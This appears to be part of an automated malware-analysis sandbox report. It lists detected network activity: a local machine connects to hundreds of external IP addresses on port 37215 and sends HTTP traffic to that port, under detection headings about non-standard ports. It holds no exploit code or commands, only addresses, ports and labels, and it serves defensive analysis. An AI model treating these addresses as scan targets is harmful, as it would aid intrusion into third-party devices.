Source: global traffic	TCP traffic: 156.98.46.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.221.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.32.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.17.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.235.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.205.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.62.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.90.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.91.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.16.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.75.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.225.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.30.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.145.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.97.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.22.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.208.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.191.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.139.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.2.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.124.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.52.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.83.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.35.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.90.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.71.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.101.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.39.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.112.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.176.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.123.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.227.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.216.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.195.66.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.88.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.85.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.229.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.242.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.146.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.42.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.92.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.116.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.112.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.202.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.112.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.200.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.22.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.146.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.249.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.61.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.88.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.184.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.59.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.65.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.220.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.88.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.187.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.48.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.145.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.92.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.208.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.162.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.219.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.101.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.41.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.99.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.247.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.233.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.221.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.241.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.87.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.173.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.255.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.230.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.72.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.217.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.250.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.169.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.33.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.134.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.13.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.139.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.237.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.125.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.106.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.79.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.137.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.213.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.237.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.54.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.37.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.29.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.143.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.32.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.55.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.237.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.112.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.15.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.241.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.229.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.152.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.125.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.113.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.253.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.209.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.24.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.100.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.89.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.1.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.82.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.165.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.204.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.47.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.32.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.157.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.179.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.253.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.251.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.214.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.20.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.182.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.229.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.99.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.227.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.244.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.171.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.62.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.18.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.84.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.74.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.140.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.111.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.169.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.40.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.154.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.62.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.125.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.96.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.124.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.141.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.70.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.7.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.240.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.117.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.160.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.199.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.92.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.237.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.6.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.151.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.165.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.178.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.236.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.179.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.182.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.41.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.130.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.123.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.207.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.116.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.159.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.39.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.87.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.231.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.112.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.156.56.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.180.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.223.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.142.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.47.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.230.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.238.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.245.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.99.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.228.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.181.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.64.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.51.156.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.103.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.40.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.18.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.222.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.201.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.131.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.47.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.2.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.147.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.54.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.16.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.76.95 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 37215

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.132.105.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.9.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.241.247.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.59.249.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.240.61.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.71.18.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.201.22.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.59.179.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.159.7.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.6.245.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.32.239.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.21.48.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.249.237.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.73.85.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.159.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.60.205.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.30.17.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.164.151.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.90.39.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.23.97.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.225.139.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.124.92.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.113.71.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.68.209.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.211.142.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.101.222.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.178.249.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.9.215.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.144.231.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.25.32.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.125.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.186.171.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.3.74.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.44.214.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.87.164.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.36.204.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.155.86.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.69.76.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.107.191.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.213.99.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.70.123.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.135.141.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.141.200.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.30.192.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.56.192.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.131.139.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.231.220.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.191.217.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.12.81.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.124.195.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.117.230.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.164.99.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.116.55.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.253.102.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.134.155.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.111.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.204.92.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.87.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.136.55.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.124.112.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.62.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.56.160.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.48.179.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.62.202.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.66.208.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.177.240.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.161.40.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.32.48.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.134.202.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.196.241.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.117.41.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.89.67.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.218.209.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.204.110.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.200.166.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.35.2.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.213.126.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.162.72.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.255.77.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.185.176.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.49.165.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.13.119.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.83.180.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.195.66.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.244.144.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.71.180.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.92.213.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.36.83.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.147.237.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.112.201.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.217.180.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.168.140.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.139.156.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.174.39.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.209.8.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.89.221.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.114.47.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.34.100.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.129.112.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.20.38.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.77.117.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.222.233.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.42.1.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.104.242.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.125.179.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.23.229.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.158.208.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.118.68.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.215.64.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.90.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.168.73.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.104.13.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.5.13.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.202.247.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.225.106.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.164.219.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.107.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.145.112.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.58.89.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.250.237.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.116.22.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.56.67.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.152.146.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.226.20.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.51.156.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.44.39.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.190.236.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.34.186.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.31.32.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.82.15.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.253.78.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.135.79.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.102.166.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.14.178.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.224.161.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.21.184.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.88.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.160.237.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.183.88.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.152.134.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.25.244.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.189.123.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.189.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.45.142.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.98.46.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.122.68.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.156.56.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.171.231.160:37215
